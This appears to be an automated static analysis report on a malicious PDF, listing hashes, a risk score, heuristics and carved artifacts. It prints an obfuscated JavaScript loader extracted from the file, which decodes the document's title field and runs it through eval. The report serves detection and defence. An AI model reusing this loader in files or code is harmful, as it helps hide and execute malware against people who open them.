Malicious PDF — malware analysis report

Static analysis result for SHA-256 26964f6c946b8d84…

MALICIOUS

PDF

48.8 KB First seen: 2026-05-08
MD5: 7043ba2951d8a48526deb05493a2bf04 SHA-1: 14ae8f64ce8b1c7dbda27f0a0fcfd61359e84480 SHA-256: 26964f6c946b8d84016f69623824d1002ddac8f8f636ad9895005aa6be3d02e0
78 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript and utilizes ASCIIHexDecode filters, indicating an attempt to obfuscate malicious content. The presence of XFA forms further suggests a complex document structure designed for exploitation. The extracted artifact 'stream_003_off00009a77.bin' is likely the payload or a component thereof. The overall structure points to a delivery mechanism for a secondary exploit or malware.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 6

  • ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX
    Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xdp/ Referenced by PDF JavaScript
    • http://www.xfa.org/schema/xci/2.6/Referenced by PDF JavaScript
    • http://www.xfa.org/schema/xfa-template/2.6/Referenced by PDF JavaScript

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0012_000.js pdf-javascript-stream PDF /JS object 12 at offset 0x9413 682 bytes
SHA-256: 7497a3011a908dabb81bbb628c0e6be469b9e7b9b95320e255f1fbac007660f6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
8 of 10 identifiers look randomly generated (e.g. 'xqzhimxwohkvcctxqzhimxwohkvccixqzhimxwoh') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
xvtiheqnilpqll = this['xqzhimxwohkvccixqzhimxwohkvccnxqzhimxwohkvccfxqzhimxwohkvccoxqzhimxwohkvcc'.replace(/xqzhimxwohkvcc/g,'')]['xqzhimxwohkvcctxqzhimxwohkvccixqzhimxwohkvcctxqzhimxwohkvcclxqzhimxwohkvccexqzhimxwohkvcc'.replace(/xqzhimxwohkvcc/g,'')];
		xxtmikskbfueqb = '';
		for (tlrfbqnkdkgrsq = 0; tlrfbqnkdkgrsq < xvtiheqnilpqll.length; tlrfbqnkdkgrsq += 2) {
			xxtmikskbfueqb += xvtiheqnilpqll['cxqzhimxwohkvcchxqzhimxwohkvccaxqzhimxwohkvccrxqzhimxwohkvccAxqzhimxwohkvcct'.replace(/xqzhimxwohkvcc/g,'')](tlrfbqnkdkgrsq);
		}
		this['xqzhimxwohkvccexqzhimxwohkvccvxqzhimxwohkvccaxqzhimxwohkvcclxqzhimxwohkvcc'.replace(/xqzhimxwohkvcc/g,'')](xxtmikskbfueqb);
stream_002_off00009650.bin decompressed-pdf-stream PDF FlateDecoded stream at offset 0x9650 449 bytes
SHA-256: 070732b3fbbd20295c5b1a911789c30af5b99ce5e14e004bbedc5acf7f113122
stream_003_off00009a77.bin decompressed-pdf-stream PDF FlateDecoded stream at offset 0x9A77 14620 bytes
SHA-256: 3b0ddedfdbef1fe970e2e021fc2051c39baf0edcf60d7c8840caa76ca3541e03
Detection
ClamAV: No threats found
Obfuscation or payload: likely
450 of 812 identifiers look randomly generated (e.g. 'Y1B2S9Y9C9M9T9B9Z9Z9S9E9L9K9R9N9E9E9P9O9'); 5 string-concatenation chain(s) — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
font_00_sfnt_off00000349.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x349 58553 bytes
SHA-256: 4e56128afad897c8ba22338709048333a61f0c1c8de4785f90267c2edf4d9a4e